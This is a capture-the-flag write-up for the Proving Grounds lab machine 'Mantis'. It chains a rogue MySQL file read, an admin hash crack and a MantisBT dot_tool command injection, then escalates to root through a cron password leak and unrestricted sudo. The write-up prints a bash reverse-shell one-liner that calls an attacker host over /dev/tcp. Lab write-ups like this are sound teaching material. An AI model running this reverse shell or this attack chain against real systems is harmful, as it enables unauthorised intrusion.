Mantis Writeup - Proving Grounds
Created October 8, 2026 • Last updated October 8, 2026 • 3 min read
Mantis runs MantisBT 2.5.2 with its installer still reachable. A rogue MySQL server (CVE-2017-12419) leaks the application's database credentials, which unlock the admin password hash for a post-auth command injection (CVE-2019-15715) and a www-data shell. A cron job caught leaking its database password in ps output gives root through a reused password and a wide-open sudo rule.
Reconnaissance
Nmap
Scan the target for open services.
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.41 (Ubuntu) 3306/tcp open mysql MariaDB 5.5.5-10.3.34
HTTP and MySQL. Brute force the web root for directories.
/bugtracker/ (Status: 301) /bugtracker/admin/install.php (Status: 200)
Explain command
| -t | Number of concurrent threads. |
/bugtracker/ is MantisBT 2.5.2, and its install.php is still reachable.
Exploitation
Rogue MySQL server to read config (CVE-2017-12419)
The installer lets an attacker point the database hostname at an arbitrary server. Pointing it at a rogue MySQL server abuses LOAD DATA LOCAL INFILE to read local files off the target.
Target file to read: /var/www/html/bugtracker/config/config_inc.php Listening...
Explain command
| roguemysql.php | PHP build of the rogue MySQL server, more reliable here than the Python 2 version. |
Trigger the connection by pointing the installer at the rogue server.
The rogue server captures the config file, which leaks the real database credentials.
$g_hostname = 'localhost'; $g_db_type = 'mysqli'; $g_database_name = 'bugtracker'; $g_db_username = 'root'; $g_db_password = '$MANTISDB_PASSWORD';
Dump and crack the admin hash
Use the leaked credentials to query the user table directly.
+---------------+----------------------------------+ | username | password | +---------------+----------------------------------+ | administrator | c7870d0b102cfb2f4916ff04e47b5c6f | +---------------+----------------------------------+
Explain command
| --skip-ssl | Bypass TLS negotiation errors when connecting remotely to MariaDB. |
Crack the MD5 hash offline.
administrator:$ADMIN_PASSWORD
Explain command
| -m 0 | Target hash mode 0 (raw MD5). |
MantisBT dot_tool command injection (CVE-2019-15715)
Log in to /bugtracker/login_page.php with the cracked admin credentials. Under Manage > Manage Configuration > Configuration Report, set relationship_graph_enable to 1 and dot_tool to a reverse shell one-liner.
bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'
Start a listener, then trigger the injected config by requesting the graph image endpoint.
The listener catches a shell as www-data. Stabilize it.
www-data@mantis:/var/www/html/bugtracker$
Privilege Escalation
Cron password leak via process monitoring
Upload pspy to catch short-lived processes, including ones spawned by cron.
CMD: UID=1000 mysqldump -u bugtracker -p$BUGTRACKER_PASSWORD bugtracker CMD: UID=1000 bash /home/mantis/db_backups/backup.sh
A root-scheduled backup script passes the bugtracker database password on the command line, which leaks it through ps. That password is reused for the mantis system account.
Password: mantis@mantis:~$ id uid=1000(mantis) gid=1000(mantis)
Root via sudo
Check sudo privileges.
User mantis may run the following commands on mantis:
(ALL : ALL) ALL
# id uid=0(root) gid=0(root) groups=0(root)
Unrestricted sudo gives a root shell.
Related
References
-
MantisBT installer SSRF to arbitrary file read via a rogue MySQL server.
-
MantisBT post-auth command injection via the dot_tool configuration option.